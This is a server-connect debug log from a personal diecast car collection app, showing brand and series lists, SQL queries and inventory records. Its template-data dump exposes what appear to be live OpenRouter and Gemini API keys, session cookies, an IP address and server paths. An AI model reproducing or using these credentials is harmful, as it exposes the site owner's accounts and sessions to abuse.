  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:12:13.392Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:12:13.395Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:12:13.395Z server-connect:app Executing action step select
2026-02-12T13:12:13.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:12:13.399Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:12:13.401Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:12:15.769Z server-connect:router Serving templateView /diecast-worksheet
2026-02-12T13:12:15.769Z server-connect:app Executing action step identify
2026-02-12T13:12:15.769Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:15.769Z server-connect:output identity: 1
2026-02-12T13:12:15.769Z server-connect:app Executing action step restrict
2026-02-12T13:12:15.769Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:12:15.770Z server-connect:output restrict: undefined
2026-02-12T13:12:15.770Z server-connect:router Render template diecast-worksheet
2026-02-12T13:12:15.770Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T13:12:16.003Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:16.004Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:16.005Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:12:16.006Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:12:16.006Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:12:16.006Z server-connect:app Executing action step identify
2026-02-12T13:12:16.006Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:16.006Z server-connect:output identity: 1
2026-02-12T13:12:16.006Z server-connect:app Executing action step restrict
2026-02-12T13:12:16.006Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:16.007Z server-connect:app Executing action step identify
2026-02-12T13:12:16.007Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:16.007Z server-connect:output identity: 1
2026-02-12T13:12:16.007Z server-connect:app Executing action step restrict
2026-02-12T13:12:16.007Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:16.007Z server-connect:app Executing action step identify
2026-02-12T13:12:16.007Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:16.008Z server-connect:output identity: 1
2026-02-12T13:12:16.008Z server-connect:app Executing action step restrict
2026-02-12T13:12:16.008Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:16.008Z server-connect:output restrict: undefined
2026-02-12T13:12:16.008Z server-connect:app Executing action step select
2026-02-12T13:12:16.008Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:16.009Z server-connect:output restrict: undefined
2026-02-12T13:12:16.009Z server-connect:app Executing action step select
2026-02-12T13:12:16.009Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:12:16.010Z server-connect:output restrict: undefined
2026-02-12T13:12:16.010Z server-connect:app Executing action step paged
2026-02-12T13:12:16.010Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
